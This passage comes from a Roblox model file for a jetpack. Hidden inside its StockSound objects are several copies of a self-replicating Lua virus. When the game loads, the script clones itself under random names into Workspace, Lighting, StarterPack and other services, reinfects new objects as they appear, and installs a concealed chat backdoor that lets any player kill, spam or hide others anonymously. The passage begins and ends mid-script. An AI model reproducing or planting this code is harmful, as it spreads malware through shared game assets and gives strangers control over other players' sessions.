talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX577">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-8.43087387</X>
							<Y>0.888645828</Y>
							<Z>188.668839</Z>
							<R00>-0.885287762</R00>
							<R01>0.465043157</R01>
							<R02>0.000604039466</R02>
							<R10>-0.000680366473</R10>
							<R11>3.91795356e-006</R11>
							<R12>-0.999999702</R12>
							<R20>-0.465043068</R20>
							<R21>-0.885287881</R21>
							<R22>0.000312906661</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">1</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">3</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">P7</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">4</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.00625899481</X>
							<Y>-0.000351006136</Y>
							<Z>0.00144866761</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00220760936</X>
							<Y>0.00748891197</Y>
							<Z>0.00197965233</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX578">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">8y9isi6r</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX579">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">tummg</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Script" referent="RBX580">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">connection = nil
humanoid = nil
on = false
startSpeed = 5
maxSpeed = 30
maxFuel = 20
fuel = maxFuel

sound = script.Parent.P3.Sound
controller = script.Parent.P3.BodyVelocity
burner1 = script.Parent.P8
burner2 = script.Parent.P9
--rot = CFrame.fromEulerAnglesXYZ(0,math.pi/2,0)
rot = CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)

function turnOff()
	sound:pause()
	controller.maxForce= Vector3.new(0,0,0) 
	burner1.Transparency = 1
	burner2.Transparency = 1
	on = false
end

function onJump(isJumping)
	if isJumping then
		-- toggle the jetpack
		if (not on) and (fuel&gt;0) then
			controller.velocity = Vector3.new(0,startSpeed,0)
			controller.maxForce = Vector3.new(0,4e+003,0) 
			on = true
			sound:play()
		else
			turnOff()
		end
	end
end

function attach(h)
	if h==humanoid then
		return
	end

	print(&quot;attaching to &quot; .. h.Name)
	humanoid = h
	if connection~=nil then
		connection:disconnect()
	end
	connection = h.Jumping:connect(onJump)

	local torso = h.Parent.Torso
	script.Parent.P3.CFrame = torso.CFrame * CFrame.new(Vector3.new(0,1,1)) * rot
	script.Parent.P4:makeJoints()
	script.Parent.P5:makeJoints()
	--script.Parent.P6:makeJoints()
	--script.Parent.P7:makeJoints()

	script.Parent.P1.CanCollide = false
	script.Parent.P2.CanCollide = false
	script.Parent.P3.CanCollide = false
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
		attach(h)
	end
end

script.Parent.P1.Touched:connect(onTouched)
script.Parent.P2.Touched:connect(onTouched)
script.Parent.P3.Touched:connect(onTouched)
script.Parent.P4.Touched:connect(onTouched)
script.Parent.P5.Touched:connect(onTouched)
script.Parent.P6.Touched:connect(onTouched)
script.Parent.P7.Touched:connect(onTouched)

-- monitor rocket fuel
while true do
		local dt = wait(0.3)
		if on then
			fuel = fuel - dt
			if controller.velocity.y &lt; maxSpeed then
				controller.velocity = controller.velocity + Vector3.new(0,4*dt,0)
			end
		else
			if fuel&lt;maxFuel then
				fuel = fuel + dt
			end
		end

		sound.Volume = fuel / maxFuel
		if fuel &lt;= 0 then
			turnOff()
		elseif on then
			-- adjust burners
			burner1.Transparency = 1 - fuel / maxFuel * (0.8 - 0.4 * math.random())
			burner2.Transparency = 1 - fuel / maxFuel * (0.8 - 0.4 * math.random())
		end
end
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX581">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">h703x</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX582">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">j1cz4mbr</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
